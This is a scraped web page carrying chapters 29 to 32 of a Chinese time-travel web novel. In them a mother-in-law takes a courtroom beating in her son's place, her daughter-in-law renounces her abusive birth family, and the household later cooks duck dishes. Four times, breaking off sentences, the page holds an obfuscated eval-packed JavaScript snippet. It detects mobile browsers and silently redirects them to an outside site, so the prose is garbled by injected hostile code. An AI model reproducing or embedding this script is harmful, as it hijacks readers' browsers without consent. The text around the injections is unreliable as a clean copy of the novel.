“堂下是何人捣乱?”刘舫把惊堂木往桌子上一拍,那眼神直往秦嘉言身上瞟,带着股子不怀好意的黏糊劲儿。 “回大人话,民妇是李闻生的母亲秦嘉言。”她不紧不慢的跪在地上,还顺手整理了一下衣角。“不知大人说我儿虐待他媳妇,这话从何说起?” “从何说起?你自己看,这是胡氏娘家人找人写的状子,上面轻轻楚楚的写着,胡氏自从成婚以来,就三番五次的遭到她丈夫李闻生的毒打。有一次还跑到她大哥家求助。这上面还有他家邻居的证实,说亲眼看见胡氏一身是伤的跑回娘家,你难道还想抵赖不成!” 他抬手指了指胡中大,“你看她娘家人就在这下面作证,你还有什么要狡辩的?” 秦嘉言抬眼直勾勾的看着看着胡中大,吓的胡中大连忙低下了头不敢看她。 “大人误会了,民妇不是想狡辩,此次出来是有两件事要说明。”她把头垂下,重重的磕在石板上,“请大人允许民妇将事实说明,也省得冤枉了无辜之人。” 刘舫本不想节外生枝,但看外面聚集了不少看热闹的百姓在那里指指点点,无奈只能点点头,“那你快点说,本官还有其他案子要审理,没有那么多时间陪你闹。” 秦嘉言连忙又磕了一下头,直起上身,依旧跪在地上:“求大人明鉴,民妇第一件事是要状告胡中大,他在镇上公然抢夺我儿媳胡氏的银手镯,还当街殴打她,打的她嘴角都流血了!” “你说什么?”刘舫立刻坐直了身子,胡中大这次可是他手底下的人忽悠过来的,要是一个弄不好,这个孬货把他们之间的交易说出来了怎么办! 刘舫没想到她会来这么一手,猛地一拍桌子,“秦氏!你竟敢在公堂上转移话题?信不信本官先治你个扰乱公堂之罪!” “大人,民妇所言句句属实。而且人证物证俱在!大人要是不审,难道是有什么难言之隐不成!”秦嘉言朝门外喊了声,“顾毅,帮我把人请上来。” 堂外立刻就传来一阵嗡嗡的议论声,顾毅和秦嘉言一早就在衙门外转悠,不知怎么就聚拢了好些看热闹的百姓,这会儿都现在外面往里瞧,指指点点的。 顾毅领着香料铺的张老板、金银斋的马老板和两个挑货郎一前一后进了大堂。几个人向刘舫行了个大礼,说明了自己的身份,便跪在地上,你一言我一语地说起来。 “大人,小的在店里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095496|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲眼看见胡中大抢了他妹子的镯子,还骂骂咧咧说嫁出去的女儿就是泼出去的水,娘家要点东西天经地义。”张老板磕了个头,“他还扇了胡氏好几个大耳光,打的她都流鼻血了,不仅如此那镯子掉在地上都磕出了挺大的凹陷,周围许多人都看见了!” “没错,小的也看见了,胡氏哭喊着要抢回来,说是这是婆婆送的,不能给他。他没管,还用力踹了胡氏好几脚,当时围了好些人呢。要不是她婆婆后来及时赶到,还不知道会被她哥揍成什么样呢!”挑货郎补充道。 “大人,前日胡中大拿来我家当银手镯,就是这个。”他从怀里拿出一个雕花银镯子,上面分明有一个很大的凹陷,周围一圈的花样都瘪了,侧面还坑坑洼洼的,一看就是摔了好几次的样子。 “大人明鉴,这确实是胡中大亲手拿来换钱的,一共换了30两银子。不只是我,当天的不少伙计都看到了,大伙还可惜这雕花白瞎了,这么大的凹痕没法补救,只能把镯子融了重新再做。 胡氏站在人群前面,听见这话,眼圈一下子就红了,手不自觉地摸了摸自己的脸颊,像是还在疼。 刘舫听得脸色发青,眼角瞥见大堂外黑压压站着一片百姓,都伸长了脖子往里瞧,唾沫星子几乎要喷到他脸上。 “我知道了,本官不会放任不管。”他看向秦嘉言,还想在找找借口:“你就算真的想告他,也得按正常程序来。改日你把诉状送到府衙,本官自会受理此案。” “诉状在此!”顾毅还没等他说完,就从怀里掏出状子,请身边的衙役递了上去。“还请大人能够当庭审判,也好能让大家都心服口服,也不会辱没了大人的威名。” 刘舫看着顾毅,又看了看围在外面窃窃私语的百姓,他只能咬牙切齿的狠狠一拍惊堂木:“大胆胡中大,光天化日竟敢抢夺殴打亲妹,来人,将他拖下去打二十大板,以儆效尤!再让他把银镯子的钱还给胡氏!” 胡中大被衙役押走时,嚎的像杀猪似的:“大人,是我妹子自愿给我的!这老虔婆血口喷人!大人,大人你是知道的!”刘舫哪里肯听,只催着衙役赶紧动手,生怕晚了一步,他在说出一些不该说的东西。 秦嘉言站在原地,眼睁睁的看着胡中大被拖走,眼皮都没抬一下。刘舫看着她那模样,心里更窝火,刚想转头继续审李闻生的事,却见秦嘉言又往前站了站。 “大人,”她的声音比刚才沉了些,“方才大人问我儿家暴的事,民妇还有话说。“、” 刘舫不耐烦地吼道:“又有什么事?你当公堂是你家后院不成?难不成你还能说你儿子没打人不成!” “民妇要向大人认个罪。”秦嘉言向刘舫又磕了一个头,缓缓的说,声音不大,却让旁边的儿子李闻生和儿媳胡氏都惊得抬起头。 她看向刘舫,缓缓的说:“先前并非小儿家暴儿媳,而是民妇这做婆婆的不好。”秦嘉言特意看了一眼胡氏,一字一句的说到:“殴打胡氏的人是民妇,与其他人无关!” 30. 第 30 章 “娘!”李闻生猛地抬头,眼睛瞪得跟铜铃似的,眼泪一下子就涌了上来,“您胡说什么!明明是...” “闭嘴!”秦嘉言猛地转头瞪着他,眼神里的劲儿让李闻生把后半句话咽了回去。她转回头,直直地看着刘舫,一字一句道:“大人,民妇不敢欺瞒。当初娶胡氏进门,我给了她娘家足足五十两银子作为聘礼,可她嫁过来的时候,别说嫁妆了,连一床被子都没有拿回来,身上穿的喜服一看就是借的,不但短了一大截,那颜色都褪了不少。我心里气不过,觉得这是故意糊弄我们家,就没少拿她撒气。那些日子动手打了她几次,都是我做的,跟我儿子半毛钱关系也没有。” 胡氏站在人群前面,嘴巴张得老大,眼泪噼里啪啦往下掉,看着秦嘉言的眼神里又是惊讶又是心疼。李闻生急得跪在地上直颠脚,喉咙里跟堵了棉花似的,想喊却喊不出声。 刘舫眯着眼打量秦嘉言,嘴角勾起一抹阴笑:“你说你打了就打了?秦娘子,你可知作伪证替人顶罪是什么罪过?按大梁律法,那可是要打五十大板,再充军流放的!我劝你想好了在说!啧啧,50大板,你的小命今天可就交代在这了!” “民妇当然知道,”秦嘉言的声音没丝毫动摇,眼神亮得惊人,“正因为知道,民妇才不敢撒谎。大人要是不信,可再去问问民妇的儿媳妇,是不是每次动手的都是我?当然,我儿子也不是没有过错,错就错在他每次都没有阻拦我,眼睁睁的看着他媳妇被我虐打,还怕别人说他娘不好,就对外说是他自己动的手。不然大人可以去调查一下,叫胡中大过来问问也行,有谁真正亲眼看见胡氏是被我儿子动的手!” 还好之前李闻生怕人笑话,从来没有在人前对胡氏动手,都是背地里打的,要不然今天这事还真的圆不过去了! “娘……”李闻生哽咽着,着急想自己认罪,被秦嘉言用眼神死死按住。秦嘉言用左手迅速比划了五十,李闻生一看见就立刻懂了,如果他现在还抢着认罪,那不只他,就连他娘也会被牵连五十大板。 胡氏抹了把眼泪,从人群中走出来站在大堂上,声音带着哭腔却很清楚:“大人,民妇就是胡氏,民妇做证,我婆婆,她说的是真的。先前,先前确实都是她动的手,我男人顶多在一旁看着,从不管我死活。我,我之前恨死她了,要不也不会在她摔进沟里的时候,没有及时把她拽上来,害的她差一点就没命!但现在婆婆跟以前不一样了,她现在从来不对我动手,不让我干活,还带着我赚钱,给我买衣服、买银镯子,真的大人,银铺的掌柜都能作证。求大人您不要在罚她了!求求您!” 金银斋的马老板立刻点点头:“没错,前日这秦娘子确实带着她三个儿媳妇在我的铺子里买了三个银镯子,那可是顶顶好,个个都是雕花的。可惜,”他抬眼看了眼胡氏,“这位娘子的银镯被她大哥抢走,卖回店里了” 胡氏听完,抚摸着自己的手腕低下头,肩膀不停地抖。李闻生看着她,想起自己以前做的那些混账事,眼泪掉得更凶了,心里跟被刀剜似的疼。 刘舫本想借着李闻生的案子大做文章,没想到秦嘉言来了这么一出。他刚想发作,旁边的周主簿凑过来,低声道:“大人,按大梁律法,婆婆虐打儿媳,虽也不对,但和丈夫家暴不同。方才胡氏兄长是当街行凶伤人,判了二十大板,这秦嘉言的事,若是按同种情形论,应该只能比他只少不多。” 刘舫气的把牙咬得咯吱响,主簿的意思他明白,总不能同是伤人,一个二十板,一个却重判,这说不过去。他狠狠瞪了秦嘉言一眼,这秦娘子分明是算准了这点,在这等着他呢! “好!好得很!”刘舫拿惊堂木用力的拍了下桌子,“秦嘉言,你身为婆婆,不知慈爱,反倒虐打儿媳,也该打!来人,打她二十大板!”他顿了顿,阴测测地补充,“就跟那胡中大一样!来人!把胡中大也带过来,把他们俩一起打,就在这堂前!让衙役都给我狠狠的打!以儆效尤!” 顾毅听到着,把手攥的紧紧的,看着跪在那里秦嘉言,这些天,他一直在生气她不听劝告,除了正事,就没有和她说过一句话,现在,他有些后悔,不如一开始就不让她来,把她带走就好了。 “大人!县丞大人!我,我替我娘受罚!”李闻生终于忍不住喊了出来。 “大人,我也替婆婆...”胡氏也跟着开口。 “都给我闭嘴!你们是想扰乱公堂吗?”刘舫怒吼,“我告诉你们,你们谁也替不了!就得让她自己受着!”他就是要看着秦嘉言疼得嗷嗷叫,才能解气。 衙役很快把秦嘉言和胡中大都按在了长凳上。顾毅站在人群后,悄悄给旁边两个衙役递了个眼色,那俩人不动声色地点点头。 板子噼里啪啦地落下来。打在胡中大身上的,看着轻飘飘的,可每一板下去,他都跟杀猪似的嚎,冷汗把衣服都浸透了,没几板就疼得晕了过去。而打在秦嘉言身上的,看着力道十足,每一板下去都带着闷响,秦嘉言的衣服很快就渗出了血迹,看着触目惊心。 李闻生和胡氏在旁边看着,心都揪紧了,眼泪止不住地流。胡氏几次想冲过去,都被衙役拦住。 刘舫坐在上面,看着秦嘉言“满身是血”,脸上露出得意的笑。他哪知道,那些血看着吓人,却是顾毅提前准备好的血浆,而衙役的板子看着重,其实都避开了要害,看着狠,实则没伤筋骨。 等二十板打完,秦嘉言被人扶起来,脸色惨白,“虚弱”地靠在胡氏身上,嘴里还喘着粗气。刘舫见了,心里的火气总算消了点,不耐烦地挥挥手:“行了!行了!李闻生家暴罪名不实,当堂释放!都给我滚!” “慢着!”胡氏鼓起勇气上前一步,拦住了要走的刘舫,带着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100758|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股豁出去的劲儿,大声喊道:“民妇还想恳请县丞大人做主,民妇从今日起,便要和娘家胡氏一族断绝一切关系!求大人见证!” 刘舫气的把惊堂木直接摔在了地上,“我说你们还有完没完!拿我这儿当什么!” 周闲连忙拦住他:“大人,消消气,我们作为父母官,这样的事本来也是在我们受理范围内。”他拽了拽刘舫的袖子,小声的在他耳边到:“大人,你看,堂下的百姓还没散呢!这刚见了血,那这件事冲一冲也好。” 刘舫斜眼看了周闲一眼,心想别以为我不知道你是和那个顾毅一伙的!之前肥料的事,你就在帮他说话! 他不动声色的又看了眼堂下的百姓,没好气的对胡氏说:“你想干什么,明天把状子递到县衙就行了,本官会择日处理的...” 还没说完,就件胡氏从怀里拿出一张状纸,高高的举国头顶,“大人,诉状在此,择日不如撞日,大人正好趁着今天把事情一并处理了吧。” 胡氏就像忽然增加了无限的勇气,眼睛直勾勾的盯着刘舫,但仔细看的话,会发现她的双手在微微颤抖。 “大人,”胡氏颤抖着声音:“民妇在娘家时,父母兄嫂就把我当奴隶似的使唤,每天起的比鸡还早,家里的重活、累活都是我干就不说了,平日里连饭都吃不饱,冬日里,就连一件厚实的衣服也没有!稍有不慎便是连打再骂,比现在辛苦多了!” 她哭的像个泪人,身子不停的抖动,但拿着诉状的手却依然伸的笔直,“虽说婆婆之前对我不好,那也都是有情可原的,父母兄嫂像卖牲口一样,把我嫁到李家,为的就是贪慕那五十两银子的聘礼。可怜我嫁过去的时候,除了身上那一件半旧的礼服,就连一件换洗衣服,都不曾给我带上。你说就这样的儿媳,哪家做婆婆、丈夫的能高兴起来?” 秦嘉言脸色“苍白”的看着她,心疼的要命,之前她只知道原身对这个大儿媳妇特别不好,没想到这孩子从小就吃了这么多苦。 胡氏用袖子把眼泪都擦干,看着刘舫的眼睛,继续说:“大人,不只如此。这些年,我的娘家的人没少来搜刮我,三天两头来要东西,米、面、布,但凡家里有点什么,他们都要搜刮去。有几次被我婆婆撞见了,直接拿大扫帚赶了出去。平时在镇上赶集,他们只要遇到我,就会把我身上值钱的东西都抢走。这次婆婆送我的银手镯,更是连一个时辰都没到,就被抢了去!这样的娘家,就是个吃人不吐骨头的地方!这样的娘家,民妇认不起,也不想认了!” 她还没说完,人群里就冲出来一个妇人,指着胡氏开始大骂:“放屁!你这个不要脸的贱货!你还敢和我们断绝关系!你个丧门星!白眼狼!老娘白养你这么大!如今嫁了人就想忘了本了?啊?敢跑到衙门来告你亲娘?我看你是疯了!想和我家断绝关系?我告诉你!你做梦!” 31. 第 31 章 这女人,分明是秦嘉言大儿媳妇的亲娘赵氏,刚才她儿子胡中大挨打的时候,她都没出来,还睁眼在人群里面看着,这眼瞅着自己的摇钱树要跑了,才骂骂咧咧的露面。 她穿着身浆洗得发白的衣裳,头发梳得油光赞亮,几步就冲到胡氏面前,指着她的鼻子就骂,唾沫星子都要喷到胡氏脸上:“你说我们打你骂你?哪个当娘的不教训女儿?我们那都是为你好!你嫁了人,家里要点东西怎么了?那是你该孝顺的!一支破手镯,你至于想和我们断绝关系?我看你就是翅膀硬了,想独吞好处!” 胡氏没有躲,直接抹了把脸,冷冷地看着她:“我独吞什么了?之前我家日子过得紧巴,你又不是不知道!还不是三天两头的管我要东西,现在日子刚刚好过,那也是我婆婆带着我们几个妯娌每天没日没夜辛苦赚来的银子,凭什么就得给你们?你们真讲点情分的话,就不应该继续抢婆婆送我的东西!” “情分?还敢跟我讲情分!老娘生你养你,就是最大的情分!”赵氏跳着脚假装大哭,一边“哭”一边喊,“大人!您可得为我做主啊!这忤逆女,不孝顺不说,还想断亲,这是要天打雷劈的!您判她个不孝之罪,打死她得了,她要不给我我磕头认错,我就,我就待在你这不走了!” 刘舫点点头,心情比刚才强了许多,他摸着下巴,似笑非笑地看着胡氏:“胡氏,你娘生你养你,恩情难报,你这般行径,确实有违孝道啊。” 赵氏一听这话,腰杆更硬了,斜着眼瞅胡氏:“死丫头听见没?大人都这么说!想跟我们断亲?行啊!拿出五十两银子来,就当是你还了我生养的恩情,不然,门儿都没有!” 这话一出口,堂下围观的百姓里有人“嗤”了一声。 胡氏却像是早料到她会这么说,忽然笑了,那笑意里带着点嘲讽:“五十两?我没有。不过,大哥前几日抢去的那个银镯子,是我婆婆用五十两买来送我的。当我还了您的‘生养之恩’,够不够?” 她先是看了一眼秦嘉言,看秦嘉言对她点点头,又有了些许勇气,往前一步,直视着赵氏:“那手镯,是你们抢我的。大人刚才判你们得还给我。现在,就当我送给您,了断咱们之间所有的牵扯。您不是要钱吗?这手镯,够不够买断这层关系?” 赵氏被噎得一愣,脸涨得通红,张了张嘴,半天说不出话来。她是想要钱,可那手镯是她大儿子抢来的,卖的钱也确实都给了她,不过因为雕花坏了,只当银价卖了三十两。现在被胡氏这么一说,倒像是她拿了钱还不满足,反而显得理亏了。 “你,你!”赵氏气得手指发抖,却说不出反驳的话。 刘舫脸色沉了沉,他本就看秦嘉言一家不顺眼,见胡氏敢这么顶撞亲娘,正好借题发挥。 “哼,伶牙俐齿的小妇人。”他敲了敲惊堂木,“胡氏,你休要狡辩。纵使你娘家有再多的不是,生养之恩大于天。大梁律法有定,断亲可以,但需先还父母生养之债。” 他顿了顿,故意提高了声音,不怀好意的看着胡氏:“其一,你需断发明治,以示归还父母所予血肉之身。” 这话一出,李闻生在旁边急得脸都白了。他往前凑了凑,想说话,却被衙役拦了回去。 胡氏却没丝毫犹豫。她从怀里摸出一把小巧的剪刀,抬手就将剪刀对着自己的头发。 “嗤啦”一声,乌黑的长发散落下来,掉在地上。她剪得又快又狠,额前的碎发参差不齐,露出光洁的额头,眼神却亮得惊人。 “媳妇!你,你这是何苦啊!”李闻生心疼得直跺脚,眼圈都红了。秦嘉言更是捂住了嘴,眼泪在眼眶里打转。顾毅在一旁紧紧的皱起了眉,手攥得死紧,仿佛要把今天的事情全部记住。 赵氏看着地上散落的头发,一时也懵了,她没想到这个一向被她拿捏死死的女儿,竟真有这么大的胆子。 刘舫也愣了一下,他原以为胡氏会犹豫,会求饶,没料到她这么刚毅。要知道除了脱出红尘之外的人,断发可是十分不详的举动,而且就顶着这样的脑袋出去,还不知道会被多少人戳破脊梁骨,没想到这胡氏会想都没想,直接剪断了自己的头发。 刘舫脸色更不好看了,冷哼道:“别以为光断发就行!我这还有第二条规矩,胡氏!你不孝父母,按律当杖责五十,以儆效尤!” “凭什么?杖责五十?那不是要把人打死么!” “这县丞老爷是跟她娘家一伙的吧!” “这胡家一家人都是什么德行,咱们街坊谁不知道?抢别人东西还有理了?” 堂下的百姓炸了锅,七嘴八舌地议论起来,不少人直接就替胡氏抱不平,看向刘舫的眼神也带了怨气。 李闻生拳头攥得死紧,恨不得冲上去,立刻给那个该死的县丞和那个老妖婆几个巴掌! 这时,站在刘舫旁边的主簿周闲赶紧上前一步,低声道:“大人,这可万万不行啊。这事儿明眼人都看得明白,若是真打五十板,恐失了民心啊。”他偷偷给顾毅使了个‘放心有我’眼色,又瞥了一眼胡氏,眼神里带着点同情。 刘舫被百姓的议论声吵得心烦,又被周闲点了一句,心里也掂量着。他看了看下面群情激愤的样子,知道再坚持打五十板,自己怕是不好收场。 “哼,看在你已断发谢罪的份上,本官就不为难你了,但是板子也必须得打!减为十板,当堂施刑!”知府没好气地说,“以儆效尤!” 胡氏跪在地上挺直了背:“民妇心甘情愿领罚。” 板子打在身上,沉闷的响声听得人心里发紧。胡氏咬着牙,一声没吭,额头上渗出细密的汗珠。十板打完,胡氏踉跄了一下,李闻生赶紧冲上去扶住她,用手背将她头上的汗珠擦掉。 刘舫看着这情景,心里窝火,却也只能硬着头皮道:“胡氏,念你心意已决,且已受罚,本官判你与胡氏一族,从此断绝关系,再无瓜葛!”说完,他一甩袖子,起身就往后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106175|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂走,懒得再看他们一家。 秦嘉言心疼地给她擦汗:“傻孩子,你也不事先告诉我一声,打的疼不疼?” 胡氏摇摇头,脸上露出一丝轻松的笑意:“娘,不疼,我这还没有你打的板子多呢!这下好了,都过去了,所有的事儿全都过去了!” 几个人刚走出衙门,周闲就快步追了上来,拉了拉顾毅的胳膊,示意他到旁边说话。 “顾先生,恭喜你!”他压低声音小心翼翼的说,“今日之事全部已了,日后就不会再有其他人拿这事要挟你们了,还是秦娘子有法子啊!” 他向秦嘉言鞠了一躬,又继续说到:“还有一件事,这胡氏虽然当堂被判与母家断绝关系,但户籍上的关系还没改。你们择个日子,过来衙门一趟,我让人给你办了,彻底断干净。” 胡氏愣了一下,随即感激地看着周闲:“多谢主簿大人的提醒,我这几日就过来。” 周闲点点头,没多说,转身回去了。 回去的路上,秦嘉言看着胡氏靠在李闻生的身上就欣慰的笑了起来,总算,这事完美的解决了,没让他们小两口生出嫌隙。 顾毅沉着脸若有所思的看着秦嘉言,“虽是隔着棉布和血浆,到底你也是被打了二十大板,回头你先躺两天装装样子,别让人瞧去。” 秦嘉言点点头,感激的看着顾毅,这几天要不是他一直在周旋,这件事也不能这么顺利。她这几天是不能到镇上去摆摊了,不如在家做几道好菜感谢他,也顺便给胡氏好好补一补。 这天没有出摊,秦嘉言让刘菇去后院抓了两只不在下蛋的鸭子,和两只小公鸭,她要给大家做几道美食好好补补。 李家村的小麻鸭,长的比较小,肉质也比较细腻,过了产蛋期的鸭子,更是存了一身的肥油,炖汤最是合适。 公鸭她准备做个一只做金银鸭子,一只做金丝御鸭。两只母鸭,她一只做姜母鸭,一只留着炖个扁尖老鸭汤。 她想了想,还把鸭脖、鸭头、鸭翅、鸭掌都砍下来,干脆做个她从前最爱的绝味鸭货,自从穿到这个世界,她都好久没吃过了,正好今天做这么多鸭子,这些够做一大锅的了! “刘菇,”秦嘉言往灶房外喊了一声,“你去把我昨天让你晒的那把干辣椒拿过来,给那一筐都拿过来!” “哎!来了娘!”刘菇开心的把晒在院子里的辣椒捡了一大筐,放进灶台旁边,“娘,你是不是要做好吃的?教教我呗。” 秦嘉言笑着点点头,“你大嫂去镇上改户籍了,是你二嫂陪着去的,今天你就帮我打打下手吧。。” “好嘞,娘,今天我就在这灶台前面不出去了,到时候做好了,您可得先让我尝一尝。!” 秦嘉言笑着用勺子轻轻敲了一下她的头:“小馋猫,我刚才忽然想到,这做好的鸭子下水也能出去摆摊卖钱,以后肯定会经常做的,你今天就先跟着学一学,等她们两个回来了,我有时间再教教她们。” 32. 第 32 章 刘菇笑了一下,用力的点点头,转身又去柴房多抱了一大捧柴火回来。 秦嘉言决定先做卤鸭货,她把剁好的鸭下水全都倒进大铁锅里,舀了两瓢清水没过去,又让刘菇点火把锅烧起来。 “这些鸭货要先焯一遍水,把血沫子撇干净。”她抬头微笑看着刘菇,看似在教她,其实自己心理一点也平静不下来。 她穿越到这大梁朝这么久了,从一开始那几个媳妇看一眼都要害怕的恶婆婆,到现在儿媳妇们都能和她嘻嘻哈哈玩笑了。现在大儿媳妇和她的吸血娘家断了亲,以后的日子真是越来越好了。 今天做鸭子菜,她脑子里第一时间冒出来的就是卤鸭货,油亮亮的鸭脖子,啃起来费劲却越嚼越香的鸭头,还有那软糯的鸭爪子,卤得酥烂,一抿就能脱骨。 “娘,你咋流口水了?”刘菇凑过来,指着她嘴角偷笑。 秦嘉言赶紧抹了把嘴,脸有点热,打了下她的屁股,“去去去,接着帮我添柴去。把火烧大点,这些玩意儿得焯透了。” 顾毅在院子里看着,嘴角淡淡的弯起了一个弧度,“秦娘子,你这是好了?刚好我有事情跟你们说。你今天要亲自下厨?” “什么事儿啊?”秦嘉言把焯好的鸭货捞出来,用水瓢舀了清水冲掉浮沫,“我总想着这些日子大伙儿又是操心又是上火的,想给大伙儿好好补补。” 她把洗干净的鸭货倒进另一口大砂锅里,又往里面加了八角、桂皮、花椒、半筐干辣椒,还有一大块冰糖,最后倒了一大碗前些日子酿的米酒,再加满清水。“你们看这颜色,等会儿煮出来,红的发亮,味道也是一绝,保准你们爱吃。” 顾毅探头看了看,“我的事儿不急,吃饭的时候再说也一样。”他看着秦嘉言额间散开的头发,轻声问:“你这得煮多久?” “最少一个时辰。”秦嘉言盖上锅盖,用湿布把砂锅上的缝儿堵了堵,“这个得小火慢炖,让味儿全渗进去。你先回屋看书吧,等饭好了喊你!” 刚盖好锅盖没多大一会儿,就有股香味从布缝里钻出来。甜香酒香混着一股霸道的辛辣香气飘散开。 刘菇蹲在灶台边,被辣椒呛的打了个喷嚏,还不忘深深的用鼻子吸口气:“娘,好香啊!这比我们做的卤煮还要香。” “那是当然。我都想好了,以后我们可以多卤这么一大锅去镇上卖,那个大木盆装上就行,下面不用点火。比卤煮方便。这样那些不能生蛋的鸭子,也有了用处。”秦嘉言得意地挑了挑眉,她这手艺,还是跟从前小区门口卤味店老板偷学的,没想到隔了时空,这香味还是这么顶用。 没过半个时辰,香味就飘出了院子。隔壁的张婶正在自家院子里喂鸭子,鼻子嗅了嗅,冲屋里喊:“当家的,你闻闻,啥味儿这么香?” 她男人从屋里出来,抽着鼻子绕了两圈,“好像是从李家飘过来的。这味道,比她家那卤煮还要香!” 香味还在往外扩,顺着村道飘到村里每一个角落。正在村头打牌的汉子们停下了,抬头往李家方向瞅;在河边洗衣的媳妇们交头接耳,都在猜秦嘉言今天做了啥。 李家院子里,秦嘉言正把另一只鸭子的肉剔下来,准备做金银鸭。她把鸭皮片得薄薄的,底下的肉切成细条,用调料腌着。刘菇在旁边帮她剥生姜,准备做姜母鸭的料,鼻子却老往砂锅那边凑。 “娘,你这个比我们的卤煮还好闻,味儿都飘到天边去了,我都要流口水了!”刘菇笑着说,“等会儿大嫂、二嫂她们回来准保比平时多吃两碗饭。” 秦嘉言嘿嘿笑了两声,手里的刀没停,“多吃点好啊,我今天多做几个菜,一会你把咱家的金蛋多拿出来几个切一盘,再把前阵子酿的酒拿出来,咱们今天敞开了喝!” 她咽了口唾沫,想起以前在自己的小房子里,和几个小姐妹几个买上一堆鸭货,就着奶茶追剧的日子,眼眶有点热。 秦嘉言甩甩头,忍住了想哭的冲动,加快了手里的动作。 她把剔好的鸭子肉整个打开,塞了一个剔了骨猪蹄进去,用稻草仔细的捆好,不漏出一点猪肉的痕迹。锅底放了几张竹子叶,绑好的鸭子放在上面加入黄酒,酱油和一些调料,有在上面丢了两把大红枣,用小火慢慢闷着。顿好之后,在撒上切成丝的蛋皮,金丝御鸭就做好了。 她看着刘菇一眼不眨的看着她手里的动作笑了笑,把手里的勺子交给她,“下一个菜简单,我说你做吧。” 刘菇接过勺子点点头,她终于能自己做一道菜了! 胡氏和陈氏打开院门的时候,所有的饭已经做好摆在了前院。 秦嘉言一看她们俩就迎了上来,“事情办的怎么样了?李闻生他们呢?怎么没跟你们一起回来?” 胡氏和陈氏对了一眼,笑了出来。胡氏把秦嘉言扶到椅子上,让陈氏也跟过来坐好。 “娘,我要跟你说个好消息。”胡氏笑盈盈的坐在秦嘉言身边。“我今天去镇上的衙门把户籍改了。”她想了想,还是把实话全都说了出来。“今天在衙门口又看见了我娘和我大哥大嫂。” 秦嘉言紧张的握住她的手,“他们没为难你吧!早知道今天我跟你一起去了!” “没事的娘,”她拍拍秦嘉言的手安慰道:“你看我现在不是好好的吗?他们应该是在那儿等了我两天了。一看见我就像饿狼一样扑过来,说要我赔银子。还说我大哥被打狠了,现在根本站不起来,以后生活都要我管。” “娘,你不知道。她那大嫂像疯婆子一样,看见大嫂就扑了上来,还好大哥和金生没管她是不是女人,直接把她推一边去。”陈氏接过话,继续说:“那女的一看作妖不成,又撺掇她婆婆在街上撒泼打滚,说大嫂不孝。” 秦嘉言看着胡氏,心疼得不行:“你说你这孩子命怎么就这么苦?遇到这样的母亲和兄长!真是到八辈子血霉了!” 陈氏说的口干,刘菇赶紧给她倒了一杯水递过去。她喝下一杯水润润候继续说道:“没事,我们没管那么多,我让大哥和金生拦着他们,我拉着大嫂,越过她直接进了衙门。出来的时候,大嫂直接把户籍文书,拍在她脸上。哎哟!大嫂那威风劲儿,这么多年我还是第一次看见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120576|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”说完,她拿肩膀撞了撞胡氏。 胡氏笑盈盈的接过话,“娘,我这次把名字也改了,以后彻底跟他们胡家没有关系了。”她把户籍文书拿出来。放到秦嘉言的手里。 秦嘉言打开一看,上面写着李氏定馨,李家村人氏。“这名字取的好!”她拍了拍户籍文书。胡氏,现在应该叫李氏了,笑的眼睛都眯起来,“我本来想叫李定新,寓意重新开始,还是顾先生帮我改的‘定馨’二字。” “好听,不愧是读书人,叫起来好听,写起来也好看。”秦嘉言让李氏把户籍文书收好,就张罗她们赶紧吃饭。 李氏连忙把她喊住:“等会,娘,我们还有个好消息还没告诉你呢!”说完,她看向陈氏。 陈氏有点不好意思的低下了头,只看着自己的脚尖不说话,李氏拿手捅了捅她,她把头埋的更低了。 李氏没办法,只好附在秦嘉言耳边轻声说:“娘,玉桂她,有身孕啦!” “什么!”秦嘉言乐得不敢相信,她连忙想要摸一摸陈氏的肚子,手刚抬起来,还是没敢动:“太好了,早知道今天就不让你跟着去了,累坏了吧!赶紧进屋去躺会,我一会把饭给你端多去。” “娘。”陈氏脸红的拽着她的袖子,“哪有那么金贵了,大夫说了这孩子皮实着呢。” 李氏连忙拉着秦嘉言的袖子。“娘你不知道,今天我差一点就成了罪人了。”陈氏连忙抬起头,“不是说好了不说吗?你咋又告诉娘了?” 